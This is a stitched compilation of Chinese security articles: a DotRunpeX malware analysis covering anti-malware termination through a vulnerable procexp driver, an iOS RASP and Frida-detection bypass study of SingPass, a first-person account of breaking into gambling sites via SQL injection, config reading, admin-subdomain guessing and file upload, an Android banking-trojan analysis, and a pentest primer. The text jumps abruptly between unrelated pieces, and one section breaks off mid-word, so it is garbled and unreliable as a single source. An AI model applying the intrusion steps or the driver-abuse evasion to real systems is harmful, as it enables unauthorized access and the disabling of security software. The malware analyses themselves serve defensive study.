驅動程序註冊表項“\registry\Machine\System\CurrentControlSet\Services\TaskKill”的內容

掛鉤到進程資源管理器設備如下。

48.png

獲取進程資源管理器設備的句柄

DotRunpeX逃避殺毒軟件技術之一是在進程資源管理器驅動程序(procexp.sys)的幫助下阻止一個硬編碼的反惡意軟件服務列表。使用進程資源管理程序驅動程序背後的原因是,反惡意軟件服務通常作為受保護的進程運行,更具體地說是作為PPL,以避免由惡意活動引起的系統保護失效。有可能濫用procexp驅動程序的易受攻擊版本來關閉受保護進程的對象句柄。一旦關閉了足夠多的句柄,特定的受保護進程將被終止。 CPR分析的所有示例都濫用了該驅動程序的16.43版本,這也是最新的易受該技術攻擊的版本。

為了獲得有關對象句柄的信息,DotRunpeX使用具有指定SystemInformationClass0x10的NT API NtQuerySystemInformation,該SystemInformationClass0x10指向未記錄的結構[SYSTEM_HANDLE_information]。通過這種方式,它可以找到屬於受保護進程的所有句柄。

49.png

NtQuerySystemInformation用於獲取未記錄的結構SYSTEM_HANDLE_INFORMATION

為了處理受保護進程的對象句柄,DotRunpeX使用WIN API DeviceIoControl將IOCTL直接發送給易受攻擊的procexp驅動程序。 IOCTL“2201288708”(IOCTL_CLOSE_HANDLE)在RDX寄存器中,處理此請求的procexp驅動程序例程負責關閉指定進程的某些對象句柄,無論指定進程是否受到保護。一旦關閉了足夠多的對象句柄,反惡意軟件服務就會被終止。

50.png

DeviceIoControl用於發送IOCTL“2201288708”以關閉受保護進程的對象句柄

我們還可以看到寄存器R8 (lpInBuffer)指向關閉對象句柄所需的數據。該數據結構可以定義如下:

51.png

讓我們比較一下DotRunpeX示例使用的procexp驅動程序版本(版本16.43,2021.8.17編譯)和最新版本的proceexp驅動程序(版本17.02,2022.11010編譯)。 CPR可以立即發現添加的修復代碼,該代碼負責禁用關閉受保護進程的對象句柄的可能性。

52.png

16.43與17.02版本進程資源管理器驅動程序之間的比較

這種使用進程資源管理器驅動程序關閉受保護流程的對象句柄的技術可以隨時上網查找到,並且是名為Backstab的開源項目的一部分,進程資源管理器驅動程序17.0以上的版本已經被修復。

在阻止特定的受保護進程後,Process Hollowing將使用WIN API CreateProcessW以掛鉤狀態啟動進程(在本例中為C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe),並直接使用NT API NtWriteVirtualMemory將DotRunpeX的嵌入式有效負載寫入新創建的遠程進程。

事實證明,通過一種專注於本機層和WIN/NT API的某些使用的動態分析方法,CPR對這種可用於自動化和大規模處理的虛擬化dotnet注入器獲得了一些有趣的發現:

每個DotRunpeX示例都有一個要注入的特定惡意軟件家族的嵌入式有效負載;

每個DotRunpeX示例都有一個嵌入式procexp驅動程序來終止受保護的進程;

虛擬化代碼背後很可能隱藏著某種配置,它指定了process Hollowing的目標進程、要阻止的受保護進程列表(反惡意軟件服務),以及其他有趣的可配置內容;

除此之外,CPR可以利用.NET內部世界的知識來實現一些自動化。當談論dotnet時,CPR可以立即想到由.NET運行時管理的代碼。越來越多的事情正在被管理,其中特別重要的就是所謂的“內存管理”。 dotnet中的內存類型有堆棧和.NET堆。在網絡世界中,CPR不需要為內存分配/釋放而煩惱,因為這些例程是由.NET運行時和垃圾收集器處理的。網絡的內存管理不知何故需要知道分配什麼、在哪里以及如何分配;解除分配/釋放內存也是如此。一旦討論了從System.Object(類、對象、字符串……)繼承的引用類型,就會在.NET堆上進行分配。這些對象保存在.NET堆上,為了進行自動管理,它們還附帶了某些元數據信息,如類型、引用和大小。另外就是不再引用的對象的自動內存釋放不會立即發生,垃圾收集器會在固定時間間隔內處理這一問題,可能需要幾分鐘。像“靜態對象”這樣的特定對象會在垃圾收集中倖存下來,並一直存持續到應用程序結束。

這意味著,如果CPR可以枚舉.NET堆上的對象,CPR也可以獲得與它們的類型和大小相關的信息,這些信息可以用於它們的適當重建。創建這種工具可能非常耗時,但幸運的是,CPR已經創建了dotnet進程和崩潰轉儲自省(crash dump introspection)開源庫ClrMD Microsoft.Diagnostics.Runtime,該庫由微軟開發,可以精確地用於從.NET堆重建對象。為什麼這很重要?

是因為在dotRunpeX執行的特定時刻,嵌入的有效負載、procexp驅動程序和某種配置必須以解密狀態出現。它們的內容可能會被分配到.NET堆上分配的某個對象。對於這些,CPR可以期望字節blobbyte[]或字符串。這也意味著,如果CPR能夠控制DotRunpeX的執行,並將其掛鉤,使其處於適合重建對象的狀態,那麼CPR將能夠在解密狀態下獲得所需的一切。

掛鉤和自省DotRunpeX進程的正確時機之一可能是調用用於Process Hollowing的WIN API CreateProcessW,這被認為是正確的假設,CPR為此開發了掛鉤庫“CProcessW_Hook”。

CProcessW_Hook使用minhook框架的本地掛鉤庫(適用於Windows的Minimalistic x86/x64 API掛鉤庫)。下面提供的代碼用於掛鉤WIN API函數CreateProcessW,該函數用於DotRunpeX注入器中的進程創建,該注入器後來用作代碼注入(PE Hollowing)的目標。一旦CreateProcessW函數被掛鉤並在目標進程中被調用,整個進程就會被掛鉤進行自省。某些進程創建會被過濾(powershell、conhost),因為它們可以根據配置為DotRunpeX的其他函數生成(例如修改Windows Defender設置)。 CPR只需要在執行代碼注入之前的狀態下暫停進程(其中所有需要的對像都已在.NET堆上解密)。

53.1.png

53.2.png

CPR可以看到,在函數DllMain()中加載這個庫時,所有的掛鉤邏輯都會立即執行。另一件需要注意的重要事情是,CPR定義了導出函數Decoy(),它永遠不會被執行或調用,但在以後的預注入技術中需要它。

有了掛鉤庫“CProcessW_Hook.dll”,CPR可以繼續創建一個注入器和提取器。這就是下面提供的主要工具——DotRunpeX提取器“Invoke-DotRunpeXextract”。

Invoke-DotRunpeXextractPowerShell模塊,支持從DotRunpeX中提取有效負載、procexp驅動程序和配置。該工具是用PowerShell腳本語言編寫的,使用預注入本機掛鉤庫“CProcessW_Hook.dll”(使用AsmResolver)和從.NET堆重建.NET對象(使用ClrMD)。它使用動態方法進行提取,因此樣本以託管方式執行(僅在VM中使用)。使用PowerShell 7.3+, clrMD v2.2.343001 (net6.0), AsmResolver v5.0.0 (net6.0)。

本文提供了該工具的兩個版本,其中一個是創建為多線程的PowerShell模塊,以獲得最佳性能和使用效果。該工具的第二個版本是一個具有相同功能的單線程腳本,可以用於簡單的調試和故障排除,並且可以更容易地創建具有類似功能的多個代碼段。

PowerShell模塊的整個代碼都以易於理解其核心功能的方式進行了註釋,接下來我們將簡要描述該工具的核心功能,如使用AsmResolver的掛鉤庫的預注入技術以及提取背後的實現邏輯。

首先,該工具使用AsmResolver修改DotRunpeX的PE結構。 AsmResolver以其檢查dotnet可執行文件及其相關元數據的功能而聞名,但它也允許訪問PE的底層結構來修改它們。這些PE結構修改用於實現上述PoC技術,目的是將dll預注入64位的dotnet可執行文件。 CPR正在討論將本機掛鉤庫的新導入條目添加到.NET程序集中。由於DotRunpeX是一個64位可執行文件,而且與32位的dotnet可執行文件不同,64位的dotRunpe

線程檢查之前的Frida stalker 檢查的替代方法是通過以下調用訪問當前線程狀態:

43.png

然後,由於以下比較,它檢查state-ts_64.__pc 是否在libsystem_kernel.dylib 中:

44.png

換句話說,如果state-ts_64.__pc 與mach_msg 的距離小於0x4000,則認為它在libsystem_kernel.dylib 中。

乍一看,對這個RASP 檢查可能不是很熟悉,但由於之前與EVT_CODE_TRACING 相關的檢查旨在檢測Frida Stalker,因此該檢查也可能旨在檢測Frida Stalker。

為了證實這個假設,我開發了一個小測試用例,在一個獨立的二進製文件中重現了這個檢查,我們可以根據它是否通過Frida stalker 來觀察差異:

45.png

Stalker 測試用例的輸出

46.png

沒有Stalker 的測試用例的輸出

通過使用函數gum_stalker_exclude 從跟踪者中排除庫libsystem_kernel.dylib ,從而輕鬆繞過此檢查:

47.png

可以看到,state-ts_64.__pc 位於libsystem_kernel.dylib 中:

48.png

排除內存範圍的測試用例的輸出

應用加載的庫RASP 事件EVT_APP_LOADED_LIBRARIES 旨在檢查Mach-O 依賴項的完整性。換句話說,它檢查Mach-O 導入的庫是否被修改。

Assemblyranges:0x100E4CDF8–0x100e4d39c

由於dladdr 函數,與此檢查相關的代碼首先訪問Mach-O 標頭:

49.png

dl_info 包含庫的基地址,其中包含第一個參數中提供的地址,因此,一個Mach-O二進製文件會連同它的標頭文件Dl_info一起加載。 Dli_fbase實際上指向mach_header_64。

然後該函數遍歷類似LC_ID_DYLIB 的命令以訪問依賴項的名稱:

50.png

此名稱包含依賴項的路徑。例如,我們可以按如下方式訪問此列表:

51.png

依賴項的名稱用於填充哈希表,其中哈希值以32 位編碼:

52.png

在後面的代碼中,這個計算表將與另一個哈希表(代碼中硬編碼的)進行比較,如下所示:

53.png

哈希示例如果某些庫已被修改為註入,例如FridaGadget.dylib,那麼動態計算的哈希將與代碼中硬編碼的哈希不匹配。

雖然這種檢查的執行是相當“標準”的,但有幾點值得一提:

首先,哈希函數似乎是一個派生的MurmurHash。

其次,哈希是32位編碼的,但是圖4中的代碼引用了64位的X11/X12寄存器。這實際上是一個限制內存訪問次數的編譯器優化。

最後,在每個檢查實例中,硬編碼的哈希值在二進製文件中重複。在SingPass 中,此RASP 檢查出現兩次,因此我們在以下位置找到這些值:0x100E4CF38、0x100E55678。這種重複可能用於防止易於修復的單點位置(single spot location)。

代碼系統庫此檢查與事件EVT_CODE_SYSTEM_LIB 相關聯,該事件包括驗證內存系統庫及其在dyld 共享緩存(磁盤上)中的內容的完整性。

Assemblyranges:0x100ED5BF8–0x100ED5D6Cand0x100ED5E0C–0x100ED62D4

此檢查通常以以下模式開始:

54.png

如果帶有給定check_region_cbk 回調的iterate_system_region 的結果不為0,它會觸發EVT_CODE_SYSTEM_LIB 事件:

55.png

要理解這個檢查背後的邏輯,我們需要了解iterate_system_region 函數的用途以及它與回調check_region_cbk 的關係。

iterate_system_region該函數旨在調用系統函數vm_region_recurse_64,然後根據可能觸發第一個參數check_region_cbk中給出的回調的條件過濾它的輸出。

iterate_system_region首先通過SYS_shared_region_check_np系統調用訪問dyld共享緩存的基址。這個地址用於讀取和記憶dyld_cache_header結構中的一些屬性:

1.共享緩存標頭;

2.共享緩存結束地址;

3.與共享緩存相關的其他限制;

計算過程如下:

56.png

從逆向工程的角度來看,用於記憶這些信息的堆棧變量與稍後調用的vm_region_recurse_64 的參數信息別名。我不知道這種混疊是否是故意的,但它使結構的逆向工程變得更加複雜。

在vm_region_recurse_64上有一個循環,它查詢vm_region_submap_info_64信息,查找dyld共享緩存範圍內的這些地址。由於mach_msg_type_number_t *infoCnt參數被設為19,我們可以確定查詢的類型(vm_region_submap_info_64):

57.png

此循環在某些條件下中斷,並且在其他條件下觸發回調。正如稍後解釋的那樣,回調驗證dyld 共享緩存中存在的庫的內存完整性。

這個循環在某些條件下中斷,而在其他條件下觸發回調。回調會驗證dyld共享緩存中存在的庫在內存中的完整性。

基本上,如果發生以下情況,就會觸發對共享緩存進行深度檢測的回調:

58.png

check_region_cbk當條件滿足時,iterate_system_region調用check_region_cbk,第一個參數中帶有可疑地址:

59.png

在分析SingPass 時,只有一個回調函數與iterate_system_region一起使用,它的代碼並沒有特別混淆(字符串除外)。一旦我們知道這些檢查與dyld共享緩存有關,我們就可以很容易地弄清楚這個函數中涉及的結構。這個回調位於0x100ed5e0c地址,並重命名為check_region_cbk。

它首先訪問有關地址的信息:

60.png

此信息用於讀取與地址參數關聯的__TEXT 段的內容。

61.png

__TEXT 字符串以及共享緩存的不同路徑(如/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e 和標頭的魔法值:0x01010b9126:dyld_v1 arm64e 或0x01010b9116:dyld_v1 arm64)都被編碼。

另一方面,該函數打開dyld_shared_cache 並查找包含與地址參數關聯的庫的共享緩存部分:

62.png

第二次調用mmap()的目的是加載包含庫代碼的共享緩存部分。然後,該函數檢查__TEXT段的內容是否與內存中的內容相匹配。執行此比較的循環位於0x100ED6C58 -0x100ED6C70。

我們可以從這個RASP檢查的描述中觀察到,開發者花了很多精力來避免性能問題和內存消耗。另一方面,在我的測試中從來沒有調用過回調check_region_cbk(即使我掛鉤了系統函數)。我不知道是不是因為我誤解了條件,但最後,我必須手動強制條件。

RASP 的設計弱點由於保存函數指針的不同#EVT_* 靜態變量,混淆器能夠為支持的RASP 事件提供專用回調。儘管如此,應用程序開發人員定義的函數init_and_check_rasp 將所有這些指針設置為同一個回調:hook_detect_cbk_user_def。在這樣的設計中,所有RASP 事件最終都在一個函數中,這削弱了不同RASP 檢查的強度。

這意味著我們只需要針對這個函數來禁用或繞過RASP 檢查。

63.png

由於這個缺點,我可以防止應用程序一啟動就顯示錯誤消息。

它存在另外兩個RASP 檢查:EVT_APP_MACHO 和EVT_APP_SIGNATURE,由於開發人員未啟用它們,因此在SingPass 中不存在。

總結一方面商業解決方案實現了強大而先進的RASP 功能,例如,內聯繫統調用分佈在應用程序的不同位置。另一方面,應用程序的開發人員通過為所有事件設置相同的回調來削弱RASP 功能。此外,該應用程序似乎沒有使用商業解決方案提供的本機代碼混淆,這使得RASP 檢查不受靜態代碼分析的保護。無論用戶提供什麼配置,對這些檢查強制執行代碼混淆都是值得的。

做了不少qp(棋牌),BC渗透了,通宵了2个晚上干了几个盘子,简略的说下过程,做一下总结。
首先说一下qp, 以我的渗透成功案例来说的话首先信息收集必不可少的,qp的特点是什么呢?
他的后台会在服务器域名的后面以不同的端口形式架设 如图:

图片

关于端口可以发现,基础东西你们都懂。
切入点:

在app里面抓包,查找邮箱,充值,的地方寻找sql注入或者意见反馈的位置XSS
有一种情况是抓包显示127.0.0.1的 抓不到包的情况,这种情况多于大盘子,它不一定走的是TCP UDP协议。可以参考 T-ice 表哥说的 Proxifier全局代理
有了后台之后可以目录fuzz一下,有些管理员会有备份的习惯没准能有新发现。
相对来说qp还是挺简单的。  

那么来说说BC吧,看个昨晚的渗透的案例。

图片

基本上大型的BC盘子都是各种防护+cdn 标配,毕竟别人赚了那么多钱也不在乎这点设备钱。。。。

图片

图片

注册了个号 发现没地方能打XSS的。。。。。作罢
因为这种大盘子服务一般是挺到位的,牌面这块方方面面给你整的很高大上,什么导航啊,什么积分商城啊。。

乱七八糟的应有具有,在他主站一个VIP查询页面确定了一处sql注入,而且是thinkphp的框架

图片

图片

图片

thinkphp3.2.3的 ,因为有CDN不知道真实IP,所以后台是个很麻烦的事情,本想着看看数据库里面的log有没有啥发现

图片

图片

没啥鸟用。。尝试读取日志文件,没有。

图片

最后读取配置文件确定了一个很脑残的事情。。。

可能通宵了之后人的脑子有点僵。

我给忘了这种BC后台肯定都是分离的。。。。嗨。少熬夜。
于是。。我就以以往的经验手动的在主域名前面加上了一些可能的参数。。admin.XXXX.com   agdw.xxxxx.com   ag.xxxxx.com   嗯。。。如图:

图片

这套程序的盘子大概100多个吧,几乎都是一模一样的,随便找了几个

图片

后台有个地方任意上传。结果。。

图片

被杀了还是咋回事。。
做个总结:
像这类盘子都是包网的,大多数都是java开发的。那么BC盘子的切入点是哪些呢
以我渗透成功的案例来总结:

1. XSS
2.注入
3.历史遗留的资产

主要还是信息收集,和耐心。

其实现在注入还是挺多的,只是很难发现和识别了。

同时还需要和各种防护对抗,有时候其实是个注入只是被防护拦了不确定的情况下很多人就放弃。

这种菠菜类的网站, 大多数服务器都是防范级别很高的, 都是包网 资产很多 而且前后端都是分离的 

有时候 ,没有思路的时候 可以从运维方面下手 ,有的运维安全意识不是很高 ,还可以从C段入手 ,因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞, 基本上可以说没有  ,还有就是从游戏接口入手 或者游戏逻辑入手, 个人一点点粗见。

除过上述作者总结的几点,其他常见的切入点包括弱口令、代码审计。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486411&idx=1&sn=e5227a9f252f797bf170353d18222d6a&chksm=ce67a152f9102844551cf537356b85a6920abb084d5c6a26f7f8aea6870f51208782ac246ee2&scene=21#wechat_redirect


概述2023 年3 月21 日晚上,鏈安與中睿天下聯合研發的監控系統檢測到一種新型安卓木馬。在經過睿士沙箱系統捕獲樣本之後,發現該安卓木馬極有可能是原安卓網銀盜號木馬SOVA 的變種。與此同時,意大利安全公司Cleafy 發布了一篇題為《Nexus:一个新的安卓僵尸网络?》 的報告,確認該病毒確實是SOVA 的變種,並將其重新命名為Nexus。

樣本分析樣本名稱:Chrome.apk

樣本SHA256 為: 376d13affcbfc5d5358d39aba16b814f711f2e81632059a4bce5af060e038ea4

樣本文件大小:4792032KB

主要行為列表刪除指定應用以其應用數據

安裝並啟動任意應用

隱藏自身應用圖標

卸載保護

上傳用戶短信數據以及通訊錄

使用SmsManager 發送短信、 刪除短信、取消短信通知

撥打電話

獲取用戶cookie 信息並上傳,注入cookie 等

讀取並上傳數字錢包信息

記錄並上傳鍵盤輸入記錄

查詢敏感信息手機數據(查詢存儲郵件、應用賬號數據、IMSI 等手機信息)

設置靜音

屏幕解鎖

訪問指定Url

試圖禁用管理員用戶

開啟輔助功能

監聽手機重啟事件

使用DownloadManager 下載文件

安裝測試當木馬安裝完成後,手機主界面會出現一個類似Chrome 瀏覽器的圖標(如圖1所示),與真實的Chrome 圖標略有差異。木馬使用的圖標較小,但在沒有相關對比的情況下,基本上很難識別出這種差異。

69d9616750171614f126e8e9498235a4

圖1

當木馬啟動後,界面會提示用戶需要開啟“無障礙功能”。在用戶點擊界面任意位置時,將自動跳轉到系統內的“無障礙功能”設置並自動啟用該功能(如下圖所示)。

容器 1(1).png

在啟動“無障礙功能”之後,程序會自動彈出並請求獲取“設備管理員權限”(如圖2所示)。

1d918d48ba6f9bf9aa3db5ed431d34f4

圖2

在惡意應用獲得設備管理員權限後,它會在後台不斷收集用戶信息,用戶很難察覺其存在。一旦設備管理員權限被授予,用戶在嘗試打開設備管理員權限設置界面時會發現界面迅速關閉,無法撤銷權限。類似地,通過adb 執行操作時也會遇到相同問題,界面會立刻關閉。這是因為惡意應用程序已經監控了設備管理員設置界面的開啟動作,從而阻止用戶撤銷其權限。因此,用戶需要啟用root 權限才能成功卸載此惡意應用。

adb shell am start -S 'com.android.settings/.Settings\$DeviceAdminSettingsActivity'

樣本深度分析基礎信息5(1).png

圖3

9eeec3cfd4ba76d6a0a44345c44b58c3

圖4

在使用Incinerator 進行手動分析之前,通過“基礎分析”模塊,我們發現該樣本程序具有加密殼(如圖3所示)。這意味著惡意應用程序的開發者使用了一種加密方法來保護其代碼,以防止分析和逆向工程。同時,我們注意到簽名信息中使用了“CN=Android Debug”(如圖4所示),這與正常的Chrome 證書不一致。這可能意味著此惡意應用程序的開發者試圖偽裝成正常的Chrome 應用,以便更容易地欺騙用戶並獲得其信任。

得益於incinerator 具備Apk 權限分析功能,我們可以在Apk 的詳細信息中獲取相應的權限列表(如圖5,6所示)。

8c614ba30c47a1965016569dda4e6884

圖5

2810336370326fca50ecb1adf6578306

圖6

在應用權限列表中,樣本獲取的權限中有13 項被評定為“危險”的權限。其中有幾個權限尤為危險:

發送短信(SEND_SMS)

讀取短信(READ_SMS)

接收短信(RECEIVE_SMS)

讀取聯繫人(READ_CONTACTS)

寫入聯繫人(WRITE_CONTACTS)

讀取電話號碼(READ_PHONE_NUMBER)

普通應用通常不會申請一些涉及敏感操作的權限,如改寫通訊錄、讀取和發送短信等。這些權限通常僅限於專門的通訊軟件。然而,當惡意應用獲取輔助功能權限後,它可以利用這一功能來自動開啟其他權限,包括一些對用戶隱私和安全具有潛在威脅的權限。

輔助功能是Android 系統中一項強大的功能,旨在幫助有特殊需求的用戶更好地使用設備。然而,這一功能也可能被惡意應用濫用,從而執行不受用戶控制的操作。一旦惡意應用獲得了輔助功能權限,它可以在用戶不知情的情況下執行各種操作,如啟用其他敏感權限,進而竊取用戶數據和破壞其隱私。因此,用戶需要謹慎授權輔助功能權限,避免將其授予不可信的應用。

代碼中用輔助功能開啟的權限列表如下:

android.permission.READ_SMS:允許應用程序讀取短信消息

android.permission.SEND_SMS:允許應用程序發送短信消息

android.permission.RECEIVE_SMS:允許應用程序接收短信消息

android.permission.READ_CONTACTS:允許應用程序讀取聯繫人列表

android.permission.WRITE_CONTACTS:允許應用程序編輯聯繫人列表

android.permission.READ_PHONE_STATE:允許應用程序讀取設備電話狀態和身份信息

android.permission.WRITE_EXTERNAL_STORAGE:允許應用程序寫入外部存儲,例如SD卡

android.permission.MODIFY_AUDIO_SETTINGS:允許應用程序修改聲音設置

android.permission.READ_EXTERNAL_STORAGE:允許應用程序讀取外部存儲,例如SD卡

android.permission.INSTALL_PACKAGES:允許應用程序安裝其他應用程序

android.permission.CALL_PHONE:允許應用程序撥打電話

android.permission.GET_ACCOUNTS:允許應用程序訪問設備帳戶列表

android.permission.READ_PHONE_NUMBERS:允許應用程序讀取設備電話號碼

android.permission.CLEAR_APP_CACHE:允許應用程序清除所有緩存文件

ec65723b3273174a343489d3475883f6

圖7

a4ff37c7b736fe71b508700ba4390c88

圖8

如上圖所示,該應用首先硬編碼了需要通過輔助功能開啟的權限列表,接著向系統發起對這些權限的申請。在PermissionsTask 環節中,應用會監聽權限申請的動作。一旦監聽到權限申請,該應用便利用輔助功能在權限申請界面上自動點擊“同意”按鈕。

靜態代碼分析在使用Incinerator 工具對樣本進行自動脫殼並分析惡意行為代碼後,我們發現以下主要功能:

1. 刪除指定應用以其應用數據惡意應用具有刪除其他應用及其數據的能力,可能影響用戶正常使用手機及其應用。

bac232005174772d5cb898d949dc8617

圖9

clearApp方法確實是通過執行pm clear package命令(如圖9所示)來刪除與特定應用程序包相關的緩存數據,包括圖片緩存、臨時文件、數據庫緩存等。這樣可以幫助清理設備上的垃圾文件,釋放存儲空間。

而deleteThisApp方法則通過觸發android.intent.action.DELETEintent 來實現應用的卸載(如圖9所示)。當系統接收到這個intent 時,會彈出一個卸載確認界面。通常情況下,用戶需要在此界面上手動點擊“同意”按鈕才能完成卸載。然而,由於這個惡意應用具有輔助功能權限,它可以在卸載確認界面出現時自動點擊“同意”按鈕,從而在用戶不知情的情況下完成卸載操作。這種做法進一步提高了惡意應用的隱蔽性和破壞性。

2. 安裝並啟動任意應用惡意應用可以安裝並啟動其他應用,可能進一步傳播惡意軟件或將用戶引導至惡意網站。

47e148941a8983668bf233bc1721120a

圖10

安裝和卸載應用確實是通過輔助功能來實現的。這種方式可以方便地為用戶自動化應用的安裝和卸載過程。唯一的區別在於,為了實現這一功能,惡意應用需要適配不同廠商的安裝應用包名和安裝Activity 的名稱。

這樣一來,惡意應用可以在各種不同的設備上成功執行安裝和卸載操作,從而更加隱蔽地實現其惡意行為。這種策略使得惡意應用在各類設備上具有更廣泛的攻擊能力。

3. 隱藏自身應用圖標為了難以被發現和卸載,惡意應用會隱藏自己的應用圖標(如圖11所示)。

2a22503bc8505cabd5cbbc4084d626b7

圖11

在這個惡意應用中,開發者使用了setComponentEnabledSetting方法來禁用Launcher Activity。這樣一來,用戶就無法通過設備主屏幕上的應用圖標(Launcher Icon)來操作或訪問該惡意應用了。

setComponentEnabledSetting方法可以用來啟用或禁用應用程序組件,如Activity、Service、BroadcastReceiver 等。在這種情況下,惡意應用通過禁用Launcher Activity,達到了隱藏自身的目的,讓用戶更難以察覺其存在。這種做法進一步提高了惡意應用的隱蔽性,使其更難以被發現和移除。

4. 上傳手機聯繫人等敏感信息惡意應用可以竊取並上傳用戶的聯繫人、短信、Cookie 等信息,可能導致用戶隱私洩露和財產損失。

fec40b6d80161cd69eedbb748387e9ce

圖12

0e9d5f601edfe7f0a01b49920a0a22aa

圖13

如圖12、13所示,惡意應用首先通過content://sms訪問短信內容,然後經過一系列業務邏輯處理,將其整合到網絡請求的數據中。除了短信數據,這個請求還包含瞭如SIM 卡信息、受害者設備的IP 地址、國家、城市和設備型號等信息。最後,這些數據會被發送到指定的服務器。

通過這種方式,惡意應用能夠竊取用戶的短信和設備信息,然後將這些數據發送給攻擊者。攻擊者可以利用這些信息進行各種違法活動,例如詐騙、竊取用戶隱私、甚至是身份盜竊。

5. 使用SmsManager 發送短信、 刪除短信、取消短信通知、讀取短信5.1 上傳短信

90ce1eff5787453308a3cbef169a556b

圖14

e2261256839bc65eb625995adddb6d32

圖15

根據上述描述,該惡意應用通過監聽收到短信的系統廣播,從廣播中提取收到的短信內容,然後將每一條短信發送給遠程服務器。在完成這個過程之後,應用還會終止收到短信的廣播,以免被用戶或其他應用程序發現。如圖15所示,super.execute指的是將收集到的短信數據發送給遠程服務器。

這種行為表明,該惡意應用在竊取用戶短信方面採取了較為積極的手段。用戶需要加強對此類應用的防範意識,以避免對其隱私和安全造成不良影響。

5.2 發送短信

7321db5b9db67fd34ae3b76be3f12587

圖16

調用系統SmsManager 發送短信(如圖16所示)。

6. 獲取用戶cookie 信息並上傳,注入cookie 等9545c3cbd4eb39c1f88d7aeb452a2483

圖17

如圖17所示,讀取所有cookie,上傳到遠程服務器,並且通過CookieManager 把本地cookie 刪除。

7. 讀取和上傳數字錢包信息7.1 讀取餘額

11fad808556b0d3a373165019b18dbe8

圖18

通過輔助功能,讀取代表餘額的View 顯示的字符內容,就是用戶錢包的餘額(如圖18所示)。

7.2 讀取seed phrase

12bde5def4ceef0a67a7d724b3247f7a

圖19

a7a03c38f2d4a91ac96261642398b3f5

圖20

利用輔助功能,從表示seed phrase 的View 中讀取內容(如圖19、20所示)。

7.3 上傳到服務器

878e51e53f4cb40cd75d036953c42d5a

圖21

把加密錢包信息發生到遠程服務器。

8. 記錄並上傳鍵盤輸入記錄60afb0bb00afcbc0ff686beee6891e9a

圖22

29f168a91f67d4c87e89966401883946

圖23

上面兩張圖,圖22所示監聽鍵盤輸入,通過輔助功能抽取數據,圖23所示把這些數據上傳到遠程服務器。

9. 查詢敏感信息手機數據(查詢存儲郵件和應用賬號數據,IMSI 等手機信息) 21c5287567e79b3d66e2c6ef52608455

圖24

通過AccountManager 獲取賬號信息,上傳到遠程服務器。

10. 把手機設置靜音5bc00f3d0ddb3537987ec9af5cef7b4b

圖25

通過audio 系統服務器,把手機設置為靜音(如圖25所示)。

11. 監聽手機重啟事件7ddace1b8b508c6511ebb0d6bb289603

圖26

1858e349a9a427c018c876e2913a57ff

圖27

監聽手機重啟事件,手機重啟後惡意就開始工作。

12. 使用DownloadManager 下載APK 並且安裝0e12dc8b1366433b7277118e3fc33c87

圖28

下載apk 並且使用安裝。

13. 拍照、錄視頻fc2abe1db55f80ca58c3ad9f8e7f33b3

圖29

91b434f95993bc1af3b41d2e3a94caa5

圖30

14. 讀取其他文檔d05f18285e304b204408900173e50336

圖31

1b8a195114cd35c6a47bdd3e2cc74eca

圖32

15. 網絡請求代碼中所有的Log 都會上傳,上傳的服務器地址來自一段“加密”字符串(如圖33、34所示)。

移動應用程序經常處理敏感數據,這是許多網絡犯罪分子的主要目標。在處理此類數據時,開發人員必須盡最大努力確保其受到保護。提高移動應用程序安全性的一種方法是執行移動應用程序滲透測試。

要找到應用程序代碼中的缺陷,開發人員至少需要逆向工程和滲透測試Android 應用程序方面的基本技能。在本文中,我們討論了攻擊者可能用來入侵您的應用程序的不同方法。我們還解釋了來自開放Web 應用程序安全項目(OWASP) 移動安全測試指南(MSTG) 的挑戰如何幫助您進行Android 應用程序的移動滲透測試,以及您可以使用哪些工具來解決這些問題。

在本文中,我們將討論如何滲透測試Android 應用程序以及使用哪些工具來提高移動應用程序的安全性。本文將對希望更多了解移動安全滲透測試服務並提高應用安全性的Android開發者有所幫助。

通過逆向工程加強應用程序的安全性Android 是一個對開發人員非常友好的操作系統(OS)。與其他移動操作系統不同,Android 是一個開源平台,您可以在該平台上激活開發人員選項和旁加載應用程序,而無需跳過太多步驟。此外,Android 允許開發人員在Android 開源項目中探索其源代碼,並根據需要修改操作系統功能。

但是,使用Android 應用程序也意味著您需要處理Java 字節碼和Java 本機代碼。一些開發人員可能認為這是一個缺點。 Android 開發人員使用Java Native Interface來提高應用程序性能、支持遺留代碼,當然,也會讓那些試圖查看其應用程序內部的人感到困惑。

在構建移動應用程序時,開發團隊的首要任務之一是確保高水平的數據安全性。開發人員應盡最大努力防止網絡犯罪分子獲取用戶的敏感信息。

有些人嘗試在第三方解決方案的幫助下提高其移動應用程序的安全性。但是,在使用第三方產品時,正確配置它們至關重要。配置錯誤或使用不當的解決方案將無濟於事,無論它多麼昂貴。

其他人則試圖將應用程序的功能和數據隱藏在本機層中。在某些情況下,他們構建Android 應用程序的方式是在本機層和運行時層之間跳轉執行。

也有開發人員使用更複雜的方法,例如逆向工程。在確保適當保護應用程序的敏感數據時,此技術非常有用。這就是為什麼開發人員最好至少具備一些逆向工程的基本技能:

解壓APK 文件

修補.smali 文件

修補.so 庫

使用調試工具

使用框架進行動態代碼分析

有了這些技能和專業知識,移動應用程序開發人員將有更好的機會檢測到可能被攻擊者利用的代碼缺陷。例如,為了侵入您的應用程序,黑客可能會使用質量保證(QA) 專家在測試應用程序的安全性和性能時使用的相同技術:

動態分析用於尋找在應用程序運行時操作應用程序數據的可能方法。例如,黑客可能會嘗試通過在登錄期間跳過多因素代碼檢查來破解您的應用程序。

靜態分析用於研究已經打包的應用程序並檢測代碼弱點,而無需直接訪問源代碼。通過靜態分析,我們不像在動態分析期間那樣查看應用程序在運行時的行為。例如,黑客可能會使用靜態分析來檢測弱加密算法的使用。要了解如何解決此類問題,請瀏覽我們關於Android 應用程序中的加密方法的文章。

開發人員有自己的方法來防止這些類型的代碼分析。例如,可以對源代碼進行模糊處理以防止其受到靜態分析:開發人員可以更改應用程序方法和類的名稱、添加對其他函數的調用以及加密代碼行。

注意:雖然代碼混淆有助於加強應用程序代碼以抵禦基於靜態分析的攻擊,但它也增加了引入新錯誤的風險。最好的逆向工程工具可以幫助您查看代碼是否已被混淆並確保對應用程序進行全面測試。

還有幾種方法可以保護移動應用程序免受動態代碼分析。特別是,開發人員可以:

阻止應用程序在有根設備上啟動

使用阻止應用程序以開發人員模式啟動並拒絕連接到動態分析框架(如Frida)的庫

